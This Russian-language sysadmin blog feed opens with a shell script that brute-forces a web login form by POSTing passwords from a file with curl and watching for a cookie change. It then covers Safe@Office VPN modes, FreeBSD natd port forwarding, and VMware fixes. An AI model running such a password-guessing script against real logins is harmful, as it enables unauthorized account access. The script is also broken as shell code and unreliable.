Авторизация производится методом POST после успешной авторизации сервер меняет куки.
Условия заданы – приступим:
#!/bin/sh /*стандартный заголовок*/
# для задания файла паролей используйте команду > sh наш_скрипт файл_паролей
if [ -z $1 ]; then
echo -e "\n\t Использование: $0 password file"
exit 1;
fi
PASSWORDS='/bin/cat $1'
USER=admin
# если требуется кука
COOKIE1="blabla=blablabla;" /*измените на то что вам необходимо*/
CMD="/usr/bin/curl \
-b $COOKIE1 \
-d user=$USER \
-c cookies.txt \ /*а сюда упадут куки после удачной авторизации*/
--url http://localhost/login.php" /*путь к файлу паролей*/
for PASS in $PASSWORDS; do
# формируем необходимые заголовки
'$CMD \
-H 'User-Agent: Mozilla/4.0' \
-H 'Host: localhost' \
-d passwd=$PASS'
# проверим не угадан ли пароль
RES='grep -v $COOKIE cookies.txt'
if [ -n '$RES' ]; then
echo -e "found $RES with $USER : $PASS\n";
exit 0;
fi
done
Как то вот так..
VPN в Safe@Office реализован в четырех вариантах:
1. SecuRemote VPN сервер удаленного доступа: Создание VPN сервера подключение к которому осуществляется посредством ПО Check Point SecuRemote VPN Client (распространяется бесплатно вместе с Safe@Office).
2. SecuRemote VPN сервер внутреннего доступа. Используется для создания зашифрованных соединений внутри локальной или корпоративной сети. Используется чаще всего в беспроводных (Wi-Fi) сетях или отделами в которых проходят особо критические информационные потоки.
3. L2TP VPN Сервер. Позволяет подключаться к VPN-серверу без установки на машину пользователя лишнего ПО. Подключение осуществляется посредством стандартного Microsoft L2TP IPSec VPN Client. На устройстве создается пользователь, и ключ для IPSec.
4. Site-to-Site VPN Gateway. Возможность создания постоянных шифрованных туннелей. Требуется когда необходимо обеспечить постоянное прозрачное сетевое взаимодействие между удаленными сетями (например филиалами компании) через сеть Интернет.
В данной статье приводится пример настройки VPN-сервера Safe@Office для использования стандартного клиента Windows L2TP IPSEC VPN при удаленном подключении к офисной сети.
Read the rest of this entry »
В /etc/rc.conf –
natd_enable="YES"
natd_interface="rl1" #внутренний интерфейс шлюза
natd_flags="-f /etc/natd.conf"
В /etc/natd.conf –
same_ports yes
use_sockets yes
redirect_port tcp 192.168.0.1:81 81 #адрес и порт локальной машины пробел порт на внешнем интерфейсе
В настройки файервола, во избежание избыточных проверок сразу после правил НАТ-а –
# включаем nat
ipfw add divert 8668 ip from any to [внешний интерфейс шлюза] in via rl1
#Разрешаем общение с внешнего мира с заданным хостом-портом
ipfw allow tcp from any to 192.168.0.1 dst-port 81 in via rl1 setup
Столкнулся после установки VMWare на дистрибутиве Fedora 10 с проблемой – в гостевых машинах клавиатура работала совсем не так как надо. Нажимал кнопку Up – срабатывало как Alt+F2 и тому подобные неприятные вещи.
Проблема решилась добавлением в /etc/vmware/config строчки:
xkeymap.nokeycodeMap = true
или эту же строчку можно добавить в ~/.vmware/config
Успехов!
После установки свежего ядра Linux 2.6.29 перестала заводиться VMWare – все падало на этапе сборки модулей. Немного погуглив проблема была решена:
Качаем неофициальный патч: http://rootfox.com/downloads/vmware-modules-2.6.29.patch
Кладем его в /usr/lib/vmware/modules/source/
Там же распаковываем все присутствующие tar-архивы.
Применяем патч: “patch -p1 -i vmware-modules-2.6.29.patch”
Запаковываем все, что бы выглядело как было:
“tar -cf vmblock.tar vmblock-only/
tar -cf vmci.tar vmci-only/
tar -cf vmmon.tar vmmon-only/
tar -cf vmnet.tar vmnet-only/
tar -cf vsock.tar vsock-only/
tar -cf vmppuser.tar vmppuser-only/“